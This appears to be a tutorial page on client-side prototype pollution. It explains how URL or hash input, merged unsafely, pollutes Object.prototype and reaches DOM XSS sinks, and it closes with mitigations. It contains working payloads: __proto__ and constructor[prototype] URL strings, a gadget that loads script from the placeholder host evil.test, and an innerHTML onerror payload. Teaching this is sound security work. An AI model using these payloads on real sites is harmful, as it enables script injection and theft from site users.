Prototype Pollution: The Complete Practical Guide

Client-Side Prototype Pollution

How client-side prototype pollution becomes DOM XSS: polluting from the URL or JSON, why the write is inert until a gadget reads it into a sink.

Published

Client-side prototype pollution turns a URL or JSON source into DOM XSS, but only when a gadget reads the polluted property into a sink. The pollution and the payload live in two different places, which is what makes it distinctive. This page walks the full flow. Practice on a free live target.

Step 1: pollute from a client source

The source is any client code that takes a key path from input and assigns through it. The classic is a vulnerable query/hash parser feeding a merge:

?__proto__[polluted]=yes
?__proto__.polluted=yes
#__proto__[polluted]=yes
?constructor[prototype][polluted]=yes

A page that parses location.search into a nested object and merges it into a config will walk the __proto__ path and assign onto the prototype. The URL carries the path. The vulnerable merge does the polluting.

Why parsing alone is safe

A common misconception is that parsing the input pollutes. It does not:

JSON.parse('{"__proto__":{"polluted":"yes"}}'); // own property named __proto__, NOT a setter call
({}).polluted;                                   // still undefined
 
merge({}, JSON.parse('{"__proto__":{"polluted":"yes"}}')); // the MERGE assigns through __proto__
({}).polluted;                                   // "yes"  <- now polluted

JSON.parse uses define-property semantics, so the __proto__ key becomes a literal own property, not a write to the prototype. What pollutes the shared Object.prototype is a later unsafe recursive merge or deep clone that walks keys and recurses through the __proto__ getter into the prototype. A shallow Object.assign(target, parsed) is a narrower case: the __proto__ key triggers the setter on the target, re-parenting that one object (so the target inherits the attacker value), but Object.prototype itself is untouched. Spread ({...obj}) is safe because it does not trigger setters.

Step 2: prove the prototype moved

Confirm the write landed before hunting a gadget:

({}).polluted;             // -> "yes"
Object.prototype.polluted; // -> "yes"

A fresh empty object inheriting your property is proof the prototype was polluted.

Step 3: reach a gadget sink

The pollution is inert until a gadget reads it. Pollute a property a real gadget consumes, then let the gadget fire:

# pollute a config value some widget reads into a script source
?__proto__[transport_url]=//evil.test/x.js
// gadget in the page or a library: reads a missing config prop, inherits the polluted value
let url = cfg.transport_url;     // own prop absent -> inherits //evil.test/x.js
script.src = url;                 // attacker script loads -> DOM XSS

A second common sink is innerHTML:

?__proto__[innerHTML]=<img src=x onerror=alert(document.domain)>

This fires only when gadget code copies inherited keys onto a DOM element (e.g. Object.assign(el, opts)), which is uncommon. More often the sink reads a named property like opts.template into innerHTML. Real-world named gadgets include hitCallback and sequence (from PortSwigger's gadget research), and transport_url is a common example gadget.

Edge variants

?__proto__.polluted=yes            dotted form (parser-dependent)
?__proto__[polluted]=yes           bracket form (qs-style parsers)
?constructor[prototype][polluted]=yes   when __proto__ is filtered
#__proto__[polluted]=yes           hash source, never sent to the server

Whether dotted or bracket works depends on the parser the page uses. Try both.

Fixing it

  • Parse into null-prototype objects (Object.create(null)) or use Map, so there is no prototype to pollute.
  • Use merge/clone helpers that skip __proto__/constructor/prototype, and validate input keys.
  • Avoid passing inherited config values into sinks. Read own properties explicitly.

Full guidance is in preventing prototype pollution. The sink here is DOM-based XSS. Next, learn to hunt sources and gadgets systematically in finding sources and gadgets, or try it on a free lab.

← Back to Prototype Pollution: The Complete Practical Guide